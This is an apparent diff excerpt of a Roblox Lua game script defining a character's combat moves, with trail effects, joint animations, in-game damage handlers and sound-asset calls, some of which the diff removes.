4000 | local TM = Instance.new("CylinderMesh",Trail) | |
4001 | TM.Scale = Vector3.new(1,1,1) | |
4002 | Old = New | |
4003 | coroutine.wrap(function() | |
4004 | for i = 1,0,-0.1 do | |
4005 | wait() | |
4006 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4007 | end | |
4008 | Trail:remove() | |
4009 | end)() | |
4010 | coroutine.wrap(function() | |
4011 | for i = 1,10 do | |
4012 | wait() | |
4013 | Trail.Transparency = Trail.Transparency +0.1 | |
4014 | end end)()end end)() | |
4015 | - | so("http://www.roblox.com/asset/?id=159882598",Torso,1,1) |
4015 | + | |
4016 | Footsteps2:Stop() | |
4017 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4018 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4019 | so("http://www.roblox.com/asset/?id=313205954",Torso,1,1) | |
4020 | for i=0,1,0.1 do | |
4021 | swait() | |
4022 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4023 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4024 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4025 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4026 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4027 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4028 | end | |
4029 | if anim then | |
4030 | anim.Disabled=true | |
4031 | end | |
4032 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4033 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4034 | for i=0,1,0.05 do | |
4035 | swait() | |
4036 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4037 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4038 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4039 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4040 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4041 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4042 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4043 | end | |
4044 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4045 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4046 | for i=0,1,0.05 do | |
4047 | swait() | |
4048 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4049 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4050 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4051 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4052 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4053 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4054 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4055 | end | |
4056 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4057 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4058 | for i=0,1,0.05 do | |
4059 | swait() | |
4060 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4061 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4062 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4063 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4064 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4065 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4066 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4067 | end | |
4068 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) | |
4069 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) | |
4070 | for i=0,1,0.05 do | |
4071 | swait() | |
4072 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4073 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) | |
4074 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4075 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4076 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4077 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4078 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4079 | end | |
4080 | --dmgstop() | |
4081 | Humanoid.WalkSpeed=12 | |
4082 | attack=false | |
4083 | con1:disconnect() | |
4084 | con2:disconnect() | |
4085 | if anim then | |
4086 | anim.Disabled=false | |
4087 | end | |
4088 | if TrailDeb == true then | |
4089 | TrailDeb = false | |
4090 | end | |
4091 | end | |
4092 | ||
4093 | function Shred() | |
4094 | attack=true | |
4095 | mana=mana-100 | |
4096 | if TrailDeb == false then | |
4097 | TrailDeb = true | |
4098 | end | |
4099 | ||
4100 | ||
4101 | coroutine.wrap(function() | |
4102 | local Old = Handle2.CFrame.p | |
4103 | while wait()do | |
4104 | if not TrailDeb then break end | |
4105 | local New = Handle2.CFrame.p | |
4106 | local Mag =(Old -New).magnitude | |
4107 | local Dis =(Old +New)/2 | |
4108 | local Trail = Instance.new("Part",Character) | |
4109 | Trail.Material = "Neon" | |
4110 | Trail.Anchored = true | |
4111 | Trail.CanCollide = false | |
4112 | Trail.BrickColor = TorsoColor | |
4113 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4114 | Trail.TopSurface = 0 | |
4115 | Trail.BottomSurface = 0 | |
4116 | Trail.formFactor = "Custom" | |
4117 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4118 | local ms = Instance.new("BlockMesh",Trail) | |
4119 | ms.Scale = Vector3.new(1,1,1) | |
4120 | local TM = Instance.new("CylinderMesh",Trail) | |
4121 | TM.Scale = Vector3.new(1,1,1) | |
4122 | Old = New | |
4123 | coroutine.wrap(function() | |
4124 | for i = 1,0,-0.1 do | |
4125 | wait() | |
4126 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4127 | end | |
4128 | Trail:remove() | |
4129 | end)() | |
4130 | coroutine.wrap(function() | |
4131 | for i = 1,10 do | |
4132 | wait() | |
4133 | Trail.Transparency = Trail.Transparency +0.1 | |
4134 | end end)()end end)() | |
4135 | coroutine.wrap(function() | |
4136 | local Old = Handle.CFrame.p | |
4137 | while wait()do | |
4138 | if not TrailDeb then break end | |
4139 | local New = Handle.CFrame.p | |
4140 | local Mag =(Old -New).magnitude | |
4141 | local Dis =(Old +New)/2 | |
4142 | local Trail = Instance.new("Part",Character) | |
4143 | Trail.Material = "Neon" | |
4144 | Trail.Anchored = true | |
4145 | Trail.CanCollide = false | |
4146 | Trail.BrickColor = TorsoColor | |
4147 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4148 | Trail.TopSurface = 0 | |
4149 | Trail.BottomSurface = 0 | |
4150 | Trail.formFactor = "Custom" | |
4151 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4152 | local ms = Instance.new("BlockMesh",Trail) | |
4153 | ms.Scale = Vector3.new(1,1,1) | |
4154 | local TM = Instance.new("CylinderMesh",Trail) | |
4155 | TM.Scale = Vector3.new(1,1,1) | |
4156 | Old = New | |
4157 | coroutine.wrap(function() | |
4158 | for i = 1,0,-0.1 do | |
4159 | wait() | |
4160 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4161 | end | |
4162 | Trail:remove() | |
4163 | end)() | |
4164 | coroutine.wrap(function() | |
4165 | for i = 1,10 do | |
4166 | wait() | |
4167 | Trail.Transparency = Trail.Transparency +0.1 | |
4168 | end end)()end end)() | |
4169 | - | so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) |
4169 | + | |
4170 | Footsteps2:Stop() | |
4171 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4172 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4173 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
4174 | for i=0,1,0.1 do | |
4175 | swait() | |
4176 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4177 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4178 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4179 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4180 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4181 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4182 | end | |
4183 | if anim then | |
4184 | anim.Disabled=true | |
4185 | end | |
4186 | for i=0,1,0.05 do | |
4187 | swait() | |
4188 | Torso.Velocity=RootPart.CFrame.lookVector*20 | |
4189 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4190 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4191 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5) | |
4192 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4193 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4194 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4195 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4196 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4197 | end | |
4198 | for i=0,1,0.05 do | |
4199 | swait() | |
4200 | Torso.Velocity=RootPart.CFrame.lookVector*40 | |
4201 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4202 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4203 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5) | |
4204 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4205 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4206 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4207 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4208 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4209 | end | |
4210 | for i=0,1,0.05 do | |
4211 | swait() | |
4212 | Torso.Velocity=RootPart.CFrame.lookVector*60 | |
4213 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) | |
4214 | so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) | |
4215 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5) | |
4216 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4217 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4218 | - | so("http://www.roblox.com/asset/?id=159882625",Torso,1,1) |
4218 | + | |
4219 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4220 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4221 | end | |
4222 | so("http://www.roblox.com/asset/?id=430315987",Torso,1,1) | |
4223 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4224 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4225 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4226 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) | |
4227 | for i=0,1,0.05 do | |
4228 | swait() | |
4229 | Torso.Velocity=RootPart.CFrame.lookVector*80 | |
4230 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5) | |
4231 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4232 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4233 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4234 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4235 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4236 | end | |
4237 | for i=0,1,0.005 do | |
4238 | swait() | |
4239 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4240 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5) | |
4241 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4242 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4243 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4244 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4245 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4246 | end | |
4247 | --dmgstop() | |
4248 | Humanoid.WalkSpeed=12 | |
4249 | attack=false | |
4250 | con1:disconnect() | |
4251 | con2:disconnect() | |
4252 | if anim then | |
4253 | anim.Disabled=false | |
4254 | end | |
4255 | if TrailDeb == true then | |
4256 | TrailDeb = false | |
4257 | end | |
4258 | end | |
4259 | ||
4260 | function Push() | |
4261 | attack=true | |
4262 | mana=mana-20 | |
4263 | if TrailDeb == false then | |
4264 | TrailDeb = true | |
4265 | end | |
4266 | ||
4267 | ||
4268 | coroutine.wrap(function() | |
4269 | local Old = Handle2.CFrame.p | |
4270 | while wait()do | |
4271 | if not TrailDeb then break end | |
4272 | local New = Handle2.CFrame.p | |
4273 | local Mag =(Old -New).magnitude | |
4274 | local Dis =(Old +New)/2 | |
4275 | local Trail = Instance.new("Part",Character) | |
4276 | Trail.Material = "Neon" | |
4277 | Trail.Anchored = true | |
4278 | Trail.CanCollide = false | |
4279 | Trail.BrickColor = TorsoColor | |
4280 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4281 | Trail.TopSurface = 0 | |
4282 | Trail.BottomSurface = 0 | |
4283 | Trail.formFactor = "Custom" | |
4284 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4285 | local ms = Instance.new("BlockMesh",Trail) | |
4286 | ms.Scale = Vector3.new(1,1,1) | |
4287 | local TM = Instance.new("CylinderMesh",Trail) | |
4288 | TM.Scale = Vector3.new(1,1,1) | |
4289 | Old = New | |
4290 | coroutine.wrap(function() | |
4291 | for i = 1,0,-0.1 do | |
4292 | wait() | |
4293 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4294 | end | |
4295 | Trail:remove() | |
4296 | end)() | |
4297 | coroutine.wrap(function() | |
4298 | for i = 1,10 do | |
4299 | wait() | |
4300 | Trail.Transparency = Trail.Transparency +0.1 | |
4301 | end end)()end end)() | |
4302 | coroutine.wrap(function() | |
4303 | local Old = Handle.CFrame.p | |
4304 | while wait()do | |
4305 | if not TrailDeb then break end | |
4306 | local New = Handle.CFrame.p | |
4307 | local Mag =(Old -New).magnitude | |
4308 | local Dis =(Old +New)/2 | |
4309 | local Trail = Instance.new("Part",Character) | |
4310 | Trail.Material = "Neon" | |
4311 | Trail.Anchored = true | |
4312 | Trail.CanCollide = false | |
4313 | Trail.BrickColor = TorsoColor | |
4314 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4315 | Trail.TopSurface = 0 | |
4316 | Trail.BottomSurface = 0 | |
4317 | Trail.formFactor = "Custom" | |
4318 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4319 | local ms = Instance.new("BlockMesh",Trail) | |
4320 | ms.Scale = Vector3.new(1,1,1) | |
4321 | local TM = Instance.new("CylinderMesh",Trail) | |
4322 | TM.Scale = Vector3.new(1,1,1) | |
4323 | Old = New | |
4324 | coroutine.wrap(function() | |
4325 | for i = 1,0,-0.1 do | |
4326 | wait() | |
4327 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4328 | end | |
4329 | Trail:remove() | |
4330 | end)() | |
4331 | coroutine.wrap(function() | |
4332 | for i = 1,10 do | |
4333 | wait() | |
4334 | Trail.Transparency = Trail.Transparency +0.1 | |
4335 | end end)()end end)() | |
4336 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4337 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4338 | for i=0,1,0.1 do | |
4339 | swait() | |
4340 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4341 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4342 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4343 | Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4344 | Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4345 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4346 | - | so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) |
4346 | + | |
4347 | end | |
4348 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4349 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4350 | so("http://www.roblox.com/asset/?id=477843807",Torso,1,1) | |
4351 | for i=0,1,0.1 do | |
4352 | swait() | |
4353 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4354 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4355 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4356 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) | |
4357 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) | |
4358 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) | |
4359 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) | |
4360 | end | |
4361 | --dmgstop() | |
4362 | attack=false | |
4363 | con1:disconnect() | |
4364 | con2:disconnect() | |
4365 | if TrailDeb == true then | |
4366 | TrailDeb = false | |
4367 | end | |
4368 | end | |
4369 | ||
4370 | function Clap() | |
4371 | attack=true | |
4372 | mana=mana-20 | |
4373 | if TrailDeb == false then | |
4374 | TrailDeb = true | |
4375 | end | |
4376 | ||
4377 | ||
4378 | coroutine.wrap(function() | |
4379 | local Old = Handle2.CFrame.p | |
4380 | while wait()do | |
4381 | if not TrailDeb then break end | |
4382 | local New = Handle2.CFrame.p | |
4383 | local Mag =(Old -New).magnitude | |
4384 | local Dis =(Old +New)/2 | |
4385 | local Trail = Instance.new("Part",Character) | |
4386 | Trail.Material = "Neon" | |
4387 | Trail.Anchored = true | |
4388 | Trail.CanCollide = false | |
4389 | Trail.BrickColor = TorsoColor | |
4390 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4391 | Trail.TopSurface = 0 | |
4392 | Trail.BottomSurface = 0 | |
4393 | Trail.formFactor = "Custom" | |
4394 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4395 | local ms = Instance.new("BlockMesh",Trail) | |
4396 | ms.Scale = Vector3.new(1,1,1) | |
4397 | local TM = Instance.new("CylinderMesh",Trail) | |
4398 | TM.Scale = Vector3.new(1,1,1) | |
4399 | Old = New | |
4400 | coroutine.wrap(function() | |
4401 | for i = 1,0,-0.1 do | |
4402 | wait() | |
4403 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4404 | end | |
4405 | Trail:remove() | |
4406 | end)() | |
4407 | coroutine.wrap(function() | |
4408 | for i = 1,10 do | |
4409 | wait() | |
4410 | Trail.Transparency = Trail.Transparency +0.1 | |
4411 | end end)()end end)() | |
4412 | coroutine.wrap(function() | |
4413 | local Old = Handle.CFrame.p | |
4414 | while wait()do | |
4415 | if not TrailDeb then break end | |
4416 | local New = Handle.CFrame.p | |
4417 | local Mag =(Old -New).magnitude | |
4418 | local Dis =(Old +New)/2 | |
4419 | local Trail = Instance.new("Part",Character) | |
4420 | Trail.Material = "Neon" | |
4421 | Trail.Anchored = true | |
4422 | Trail.CanCollide = false | |
4423 | Trail.BrickColor = TorsoColor | |
4424 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4425 | Trail.TopSurface = 0 | |
4426 | Trail.BottomSurface = 0 | |
4427 | Trail.formFactor = "Custom" | |
4428 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4429 | local ms = Instance.new("BlockMesh",Trail) | |
4430 | ms.Scale = Vector3.new(1,1,1) | |
4431 | local TM = Instance.new("CylinderMesh",Trail) | |
4432 | TM.Scale = Vector3.new(1,1,1) | |
4433 | Old = New | |
4434 | coroutine.wrap(function() | |
4435 | for i = 1,0,-0.1 do | |
4436 | wait() | |
4437 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
4438 | end | |
4439 | Trail:remove() | |
4440 | end)() | |
4441 | coroutine.wrap(function() | |
4442 | for i = 1,10 do | |
4443 | wait() | |
4444 | - | so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) |
4444 | + | |
4445 | end end)()end end)() | |
4446 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4447 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
4448 | so("http://www.roblox.com/asset/?id=313205954",Torso,1,0.9) | |
4449 | for i=0,1,0.08 do | |
4450 | swait() | |
4451 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4452 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4453 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4454 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2) | |
4455 | Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2) | |
4456 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
4457 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3) | |
4458 | end | |
4459 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
4460 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
4461 | for i=0,1,0.08 do | |
4462 | swait() | |
4463 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4464 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4465 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4466 | Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2) | |
4467 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2) | |
4468 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
4469 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
4470 | end | |
4471 | --dmgstop() | |
4472 | attack=false | |
4473 | con1:disconnect() | |
4474 | con2:disconnect() | |
4475 | if TrailDeb == true then | |
4476 | TrailDeb = false | |
4477 | end | |
4478 | end | |
4479 | - | so("http://www.roblox.com/asset/?id=159882567",Torso,1,1) |
4479 | + | |
4480 | function Hai() | |
4481 | attack=true | |
4482 | Humanoid.WalkSpeed=0 | |
4483 | so("http://www.roblox.com/asset/?id=477843807",Torso,1,1) | |
4484 | for i=0,1,0.1 do | |
4485 | swait() | |
4486 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
4487 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
4488 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4489 | Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) | |
4490 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) | |
4491 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4492 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
4493 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
4494 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
4495 | end | |
